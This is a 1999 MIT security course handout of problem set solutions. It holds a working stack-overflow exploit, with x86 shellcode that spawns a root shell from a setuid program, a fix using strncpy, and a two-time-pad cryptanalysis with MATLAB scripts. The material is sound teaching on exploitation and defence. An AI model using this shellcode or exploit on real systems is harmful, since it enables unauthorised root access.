Massachusetts Institute of Technology
6.857: Network and Computer Security
Professor Ronald L. Rivest

Handout 20
October 19, 1999

Problem Set 4 Solutions

Problem 3-1. Fun with the Stack (Grant Emery, Brian Perrin, Emil Sit)

We have the following program as described in the problem set which our system administrator has foolishly set the suid bit on and is owned by root.

```
#include <stdlib.h>
#include <stdio.h>

int main() {
    char display[512];

    strcpy(display, getenv("DISPLAY"));
    printf("Your display environment variable is %s\n", display);
    return 0;
}
```

We note that the variable `display` is a fixed-length character array which is allocated on the stack. Furthermore, it is being passed as the target to `strcpy()` without doing any checks on the source to make sure that it will fit into the buffer. `strcpy` itself does not do any bounds checking. Since the shell probably does not restrict the length of environment variables (at least not to something as low as 512) we can set our DISPLAY variable to something longer than 512 characters and `strcpy()` will happily continue copying data out of the environment onto the stack past the end of the allocated buffer.

Somewhere beyond the end of this allocated memory is where the return address from the subroutine call is. This is because of the way that the stack is oriented and the particular procedure calling convention of our processor. The stack grows upwards so that the return address is below the end of the memory allocated for the character array. If we can overwrite this, we can control what this routine returns to when it's done executing. If we can have it return to binary code that we supply, we win and can make the program do anything we want.

So the first thing we have to do is decide what want to make this program do. A nice thing is to get it to do is just exec a shell, because then we will have a root shell on the machine and can do as we please. Aleph1 has thoughtfully provided us with the machine code to do this on an Intel x86 architecture machine running Linux,[1] so we needn't go to the trouble of writing and disassembling it for ourselves. So now all we need to do is trick this program into executing our code. We accomplish this by overwriting the return address on the stack with a return address that points to our exploit code. Since we are overflowing a buffer, we can have it return into that space.[2] However, since we didn't write this program, it's not entirely clear where its stack frames will lie in memory. We assume that our target's stack has about the same offset as an exploit program that we write will, so we can just use our own as a starting point. However, this is not likely to be exact, and if we screw up the target will go off executing more or less random instructions and will probably segfault, which is not remarkably useful behavior. For this program, we can do a very specific guess based on the source and architecture we are using, or we can use a trick. Since the guessing can be somewhat tedious, we'll go with the trick.

The trick is to pad the exploit code in front with no-ops. In the Intel case, the no-op instruction is `0x90` (the instruction actually stands for `xchg ax,ax`). So by putting a bunch of these in front of our exploit and a bunch of relative `JMP`s afterwards that point to the beginning of the exploit. That way we have some slop as to where the target routine returns to. It'll just grind through no-ops until reaching the exploit code. So here's what we do:

1. Guess the approximate location in memory of the target's stack frame by looking at our own. This gives us a good guess at the address out exploit code will end up in at the end.

[1] "Smashing the Stack for Fun and Profit", `http://www.phrack.com/search.phtml?view&article=p49-14`

[2] In some cases, this will be too small so we can have it return to external address, such as an environment variable.

2. Put enough copies of the guessed return address into the DISPLAY environment variable to be sure that one of them will get copied over the return address on the stack

3. Put our exploit code somewhere where we know the victim will be able to get to it (in our case, as in Aleph1's example, we use the dummy environment variable `EGG`)

4. Start the target program and let `strcpy()` work its magic

Here is the code we used to exploit `print_display`. It's more or less directly ripped from Aleph1's version, with some customizations.

```
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             612
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90


char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
    char *buff, *ptr, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, eggsize=DEFAULT_EGG_SIZE;

    if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
    }
    if (!(egg = malloc(eggsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
    }
    addr = get_esp() - offset;
    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;

    ptr = egg;
    for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;
    for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';

    memcpy(egg,"EGG=",4);
    putenv(egg);
    memcpy(buff,"DISPLAY=",8);
    putenv(buff);
    system("./print_display");
}
```

And the output of running this program on my personal linux machine is

```
Files deleted: 50 exp
Your display environment variable is
(several hundred characters of return address)
bash#
```

Note that "`Files deleted: 50`" is the prompt. Thus, we have evidence that the above code actually does work.

In order to make this program safe, we simply need to modify the source to do some bounds checking:

```
#include <stdlib.h>
#include <stdio.h>

int main() {
    char display[512];

    strncpy(display, getenv("DISPLAY"), sizeof(display)-1);
    display[511] = '\0';
    printf("Your display environment variable is %s\n", display);
    return 0;
}
```

Problem 3-2. Break the Two-Time Pad (Chiuyi Chan, Ying Lee, Meng Ding, Tairan Wang)
Ben encrypted two document fragments warning people:

- Not to trust other people's code
- Never use the same key sequence more than once

which ironically he himself violates.

```
...
ral is obvious. You can't trust code that you did not totally create
yourself. (Especially code from companies that employ people like me.)
No amount of source-level verificatio
...
```

```
...
ther important point is that you can never use the key sequence
again, ever. Even if you use a multiple-gigabyte pad, if a
cryptanalyst has multiple ciphertexts whose keys overl
...
```

The key that Ben used is one of the following possible sequences. It is not possible to determine the specific one because both keys would return the same mapping between the plaintext and the ciphertext.

```
 49 110 93 82 82 59 76 84 30 10 90 37 10 12 72 44 39 99 102 124 75
10 93 67 120 67 84 75 44 42 0 100 74 124 55 47 19 46 125 48 83 107
10 78 67 94 21 75 14 21 78 14 67 25 26 87 90 1 3 79 38 117 113 41
37 43 66 48 10 31 114 38 28 33 53 22 58 31 106 120 73 62 94 47 120
35 32 121 50 7 125 63 14 49 97 32 62 23 106 80 82 91 99 127 0 18 49
93 111 53 63 72 27 24 41 59 119 49 35 54 100 102 104 20 5 19 49 48
101 43 44 27 109 95 105 2 39 47 66 122 69 5 101 11 7 91 92 27 126
39 27 99 74 63 105 106 71 98 98 105 121 96 31 32 28 98 123 86 1 7
36 10 79 16 50
```

```
 55 103 84 0 27 33 1 75 19 14 71 43 17 11 70 124 17 101 125 40 8 2
64 68 120 11 65 77 121 32 27 49 9 112 50 36 19 52 112 39 66 57 83
84 69 27 81 86 2 80 0 10 82 64 78 75 75 17 26 70 49 54 119 58 39 43
95 59 95 80 98 34 10 54 119 80 81 73 39 83 26 39 93 108 104 45 57
53 62 84 123 112 11 116 44 51 32 12 110 0 93 81 35 104 8 27 57 90
101 97 46 0 10 13 109 114 58 40 41 121 124 37 106 8 26 23 60 59 36
43 60 3 124 95 108 6 122 38 97 96 9 16 97 20 30 80 8 88 120 49 83
117 87 62 126 113 86 60 46 123 103 106 0 101 74 108 108 70 20 78 40
29 94 11 49
```

Here are our strategies for decypher the two plaintexts:

- Bitwise $\oplus$ the two ciphertexts Each ciphertext is the result of xor the message and the key value. Because $\oplus$ is associative and commutative, the keys cancel with each other when we $\oplus$ the two ciphertexts. ie, (M1 $\oplus$ Key) $\oplus$ (M2 $\oplus$ Key) = M1 $\oplus$ M2.
- Automate the process of guessing with matlab functions
  We developed two very useful programs, *mword2.m* and *mword3.m* (attached in appendix) The first one examines a segment of the xor-text for possible matchings to words in the Webster database. The second one finds likely positions of a given English word fragment.

- Make educated guesses

  During and after we developed the tools, we start to make good guesses. There are two important observations that helped us eliminated a lot of impossible pairs. And there is also a failed attempt based on a seemingly reasonable yet untrue assumption.

  – Location pattern of characters in ascii

    We found that there are four possible combinations of the characters in the message. Namely, 1-31 are characters from the same category; 32-63 are upper case and lower case letters paired together; 64-96 are punctuations and lower case letters; 96-127 are upper case letter paired with punctuations. This holds for most cases, with a few exceptions that has to do with special characters that locate in the same groups with the letters. The reasoning is based on that all the control characters, capital letters, lower case letters, and punctuations are grouped together into their own groups. Control characters are very unlikely in common passages. Also, upper case letter and its corresponding lower case letter differ only at the 6-th bit.

  – Cracking from the ends

    One of the difficulties is to locate word boundaries. It seemed quite natural to take advantage of the existing boundaries at the two ends of the texts. We used *mword2.m* to target the beginning and the ending positions of the text, trying to break things open from the ends. This attempt was not very successful. Even with the full content of Webster dictionary, we can not come up with reasonable starting and ending words! Only later, after the decryption of the full text, did we realize that we have obtained two incomplete quotes. Considering the real world environment, this is a very likely situation to be in. We are luck that the two ciphertexts are precisely aligned, otherwise the job would be even harder.

  – Most commonly used words

    We then shifted strategy and guessed some of the most commonly used words (ie, the, I, there, that, ...etc.), and used *mword3.m* to find their likely positions and expanded on the discoveries by guessing likely completions of the matching text. In addition, we realized that there must be spaces around a word. Thus, a right guess of a three-character word in one message would allow us to decypher 5 characters in the other message. We had great success locating " the " in the message, which is the breakpoint in our effort to decrypt the message.

After we discovered a couple of words in each message, we used our imagination and guessed possible words around it. When we found the phrase: "did not totally create yourself", one of our team members recognized it from our reading article. After this point, everything turned to matching characters. The hardest part in this problem is to go through numerous trials of error to find the right strategy and guess the correct words.

A more detailed description of the effort and the code is attached.

```
%
%  function [W, W_match, ind] = mword2(wlist,vlist,match)
%
%  wlist : dictionary
%  vlist : xor-ed value list (must be the same width as wlist)
%  match : a character string with equal width to guide search
%    (the matching character must be:
%           * :  any character + punctuations
%           . :  anyting
%     [a-z,A-Z,...] : explicit matching
%
%  Given the match pattern, sift through dictionary wlist,
%  and come up with possible  words and their matching texts.
%

width = size(wlist,2);
if ((width ~= size(vlist,2)) | (width ~= size(match,2)))
  error('size mismatch between wlist and vlist');
end

len = length(wlist);

W = char(bitxor(ones(len,1)*vlist, ...
                wlist+zeros(len,width)));

ind = 1:len;
for i = 1:width,
  if (match(i) == '*')
    ind2 = find((W(ind,i)>='a' & W(ind,i)<='z') ...
                |(W(ind,i)>='A' & W(ind,i)<='Z') ...
                | (W(ind,i)==' ') | (W(ind,i)=='.') ...
                | (W(ind,i)=='"') | (W(ind,i)==',') ...
                | (W(ind,i)=='?') | (W(ind,i)==':') ...
                | (W(ind,i)=='!') | (W(ind,i)=='-') ...
                | (W(ind,i)==';') | (W(ind,i)==char(39)));
    ind = ind(ind2);
  elseif (match(i) == '.')
    % no action done
  else
    specific = char(match(i));
    % specific matching
    ind2 = find(W(ind,i) == char(match(i)));
    ind = ind(ind2);
  end
  disp(length(ind));
end

W_match = char(W(ind,:));
W = wlist(ind,:);
```

```
%
%  function [W, ind] = mword3(vlist,word,[legal])
%
%  vlist : xor-ed value list.
%     6 9 9 ... 3
%
%  word :  a possible word fragment.
%
%  legal : the default legal set of characters are
%            [a-z],[A-Z],[!"'`,-.],[SPACE],[()]
%           if this field is present, it will be used instead of the default.
%
%
%  The returned two items are:
%    ind :   a list of possible starting positions of "word",
%            which, given vlist, will map to legible characters.
%
%     W  :   the matched word given the starting positions
%

if (nargin < 3)
  legal = [65:90,97:122,33,34,39,96,44:46,32,40,41];
else
  legal = double(legal);
end

len_v = length(vlist);
len_w = length(word);
len   = len_v - len_w + 1;

word  = ones(len,1)*double(word);
W     = zeros(len_w,len);
ind   = ones(len_w,1);

% xor the word fragment will all possible starting positions.
for i=1:len_w,
  W(i,:) = vlist(i:i+len-1);
end
W    = bitxor(W',word);

% check each entry and through out those with illegal characters.
for i=1:len,
  for j=1:len_w,
    if (sum(legal==W(i,j))<1)
      % illegal character found
      ind(i) = 0;
      break;
    end
  end
end
```

```
ind  = find(ind);
W    = char(W(ind,:));
```

The idea is to test if any common words could appear anywhere in the xor-text. The function examined the xor results of a given word fragment with all starting positions, and return those that show promise (i.e., the resulting matching text composed of legibal english characters, with possibly space and punctuation marks). A human operator (one of the group members) than marks promising positions for furthur tests.

We used *mword2.m* and breaked a portion of the code starting from position 70:

```
``ourself''
`` ever. ''
```

The rest is done with *mword3.m*

The route to our discovery:

First test " the ", which yield a possible position at 47, with the matching text "did n"

The whole result is actually:

```
>> [W,ind] = mword3(textxor,' the ');
```

```
(edited result)

.ookp              12
(ioeh              22
cxmn               33
r-rce              42
ynn d              43
did n              47
"tunu              65
sr'`e              90
`c`l(              103
"hwa-              123
 dpt               130
.cxpi              166
```

Then we tried " did not ", which maps to "e the key" at position 46.

```
e the key              46
cbzf sd!o              62
 tqu kk))              130
```

Another breaking point is in trying " that ", which brings "never", "'t tru" and "te pad"

```
mkeei.              7
-puoo'              9
pBnz c              16
't tru              24
,qcan-              34
 never              37
thyqm)              55
"tuj!o              65
odlwcb              70
smk"d.              81
,'n.qe              89
mgvzpp              95
te pad              110
mmb.lc              117
atxye               129
lfvkke              159
```

“ never ” brings “ that y”, which is very close to “ did not ”. At this point, we have a segment of the text:

```
‘‘ never **e the key ’’
‘‘ that y** did not t’’
```

Which is easily recognized as:

```
‘‘ never use the key ’’
‘‘ that you did not t’’
```

A group member recalls a passage in the article in problem set 2 about compiler security: “that you did not totally create yourself”, which connects our current result with the previous discovered “ourself”, and the decoding become very rapid after this.

We verified that the RETs are skipped in places.

And here is when we realized that the quotes are not complete on either ends, which explains our earlier failures at trying to break the code from the two end points.